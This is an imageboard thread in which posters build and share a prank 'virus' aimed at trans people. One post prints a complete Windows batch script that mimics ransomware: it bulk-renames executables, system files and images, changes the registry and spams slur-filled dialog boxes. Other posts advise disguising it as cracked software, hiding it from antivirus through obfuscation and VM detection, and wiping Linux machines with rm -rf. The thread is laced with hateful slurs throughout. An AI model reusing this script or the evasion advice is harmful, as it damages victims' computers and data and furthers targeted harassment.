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marge does this mean my virus is good though
and will trannys fall for this

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make a screamer too geg

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>>14660071 (OP)
if they have no antivirus yes

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make it flash bbc and cado though

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>shitass norton doesnt even detect it
I fucking hate Norton antivirus so much its unreal

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marge what does the virus do as of this moment im trans btw

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Making viruses is indian BTW

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>>14660185
it makes you roll Alicia every time

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>only 14 detections out of 72
That's pretty good I think

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most trannys run linux doe

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>>14660185
changes every file it can to a .geg file
change your wallpaper to black
spam dialog boxes saying "kys troon"
changes the pc name to troon@jartycuckOS

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>malwarebytes detection
it's over

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>>14660206
anything else i should add

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>>14660221
flash bbc and cado like on joyjak party

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give it better stealth

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>>14660221
automatically make a post on soyjak.st/tech/ with computer specs attached

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>>14660245
captcha doe

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>>14660248
AAAAAACK!

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>>14660250
QUOTE MAKE A BOARD WITH NO CAPTHCA JUST FOR THIS

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>>14660245
how would this work in batch

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>>14660262
something something repurpose babybot script + some code from an infostealer

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>>14660255
> it gets spammed with 'p
>>14660248
just make it make the sharty pop up and add a dialog box that asks them to take a picture of them doing a soy face and to post it on x board with x message if they want their data back

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>>14660285
actually do this

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>>14660285
if they fall for this they are actually retard

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>>14660298
it would be funny if they did

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Add more weight to the exe file to make it more believable

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>>14660248
its just one bot, it should be easy

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>>14660298
the people downloading ts and running it are already stupid enough to actually do it

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>>14660206
gem; now put that file disguised as another file like a pirate software or crack

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>>14660071 (OP)
use this gem on streamers

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>>14660245
do. this.

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>>14660516
TSMT LIKE NEEM

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anyone wanna fork this or recreate it in different coding languages o algo
im lazy

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>>14660480
swedish gemerald that turkeyGODS will try to steal

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>>>14660480
>swedish gemerald that turkeyGODS will try to steal fuggen jardee

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>>14660604
i dont look like this

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c

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make it play 'G audio (EARRAPE WARNING)

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>>14660206
Instead of a black wallpaper, can you make it this

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@echo off
title GEEEEEEG

echo uh oh! your files have been encrypted! GEEEG!
::print stuff
echo HOW TO UNLOCK YOUR PC
echo 1: poop and niggers dying
echo 2: GO TO soyjak.st/soy
echo 3: MAKE A THREAD WITH THIS NUMBER IN THE SUBJECT FIELD "120419"
echo 4: cry about it nigga geeg
echo .
echo what NOT TO DO
echo 1: turn off your pc (IT VVILL BE BRICKED)
echo 2: try to delete this payload/ransomware
echo .
echo YWNBAW CORD PEDO
:: makes background black
reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "0 0 0" /f
:: ren makes your files different extensions o algo
ren *.exe *.geg
ren *.sys *.geg
ren *.dll *.geg
ren *.com *.geg
ren *.png *.geg
ren *.webp *.geg
ren *.gif *.geg
ren *.jpg *.geg
:: makes dialog boxes
msg %USERNAME% KYS TROON PEDO
msg %USERNAME% KYS TROON PEDO
msg %USERNAME% KYS TROON PEDO
msg %USERNAME% KYS TROON PEDO
msg %USERNAME% KYS TROON PEDO
msg %USERNAME% KYS TROON PEDO
msg %USERNAME% KYS TROON PEDO
msg %USERNAME% KYS TROON PEDO
msg %USERNAME% KYS TROON PEDO
msg %USERNAME% KYS TROON PEDO
msg %USERNAME% KYS TROON PEDO
msg %USERNAME% KYS TROON PEDO
msg %USERNAME% KYS TROON PEDO
msg %USERNAME% KYS TROON PEDO
msg %USERNAME% KYS TROON PEDO
msg %USERNAME% KYS TROON PEDO


msg rest in piss jartycuck pc
:: renames your pc to troon at jartycuckos
WMIC ComputerSystem where Name='%ComputerName%' Call rename Name="troon@jartycuckOS"
pause

code if you want it

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>>14660967
Why are the jannies not approving this

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>>14661009
gemerald old school batch coding
might be funnier if you added a button that let you decrypt "one" file, but it instead actually replaces that file with troonella's neovag or some other image that would piss off streamers

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>>14660842
i'm pretty sure that'd be impossible, as the reason why 'g is so loud is because of a webm-exclusive exploit

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>>14661009
this either half works or apponfly is a really good recreation of jewdows

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>>>14661009
>this either half works or apponfly is a really good recreation of jewdows, how could you tell?

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>>14661295
or it doesnt work on vps

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>>>14661295
>or it doesnt work on vps, how could you tell?

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>marge does this mean my virus is good though
>and will trannys fall for this

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>>14661009
hey 'teen this is cacas first virus but i will give you real tips. first off how viruses get detected is because antiviruses put them in a tiny vm to check their behavior and if they see it sperging out they 100% detect it and also use hashes to tell other antiviruses that its a virus (so if a chink releases a game and it has a virus and one person reports it, if the game files arent changed by the chink then everyone with the game will get a virus popup since the file hash is the same) so the way you can prevent detection is through obfuscation so the antivirus cant read the code and also some vm detection from github that will probably work. obfuscation is making the code super unreadable on purpose so that it does completely random shit, gets encrypted then decrypted then decrypted again so that the antivirus cant really focus on the small harmful behavior since its drowned in a sea of randomness so it decides everything is fine. you can also really rape someone's pc through privilege escalation which is using a bug in some part of the computer that makes the OS go full retard and gives you full admin rights for no reason so then you can full antiviruses and cause real damage instead of relying on the troon either running your file as admin or just having their pc shut off with a slur on their screen one time.
to learn more and for it to be less general niggerbabble do hackthebox, watch youtube cybersecurity and privilege escalation and malware explainer videos. i watched some youtuber a few years ago that analyzed malware and went through what that specific jeet thing does named John Hammond so he should be good
ALSO make a version for linux since linux trannies never have an antivirus and most privilege escalation is easily done on linux due to buggy FOSS software and most trannies use it so you can rape their pc easier with admin priv and rm -rf



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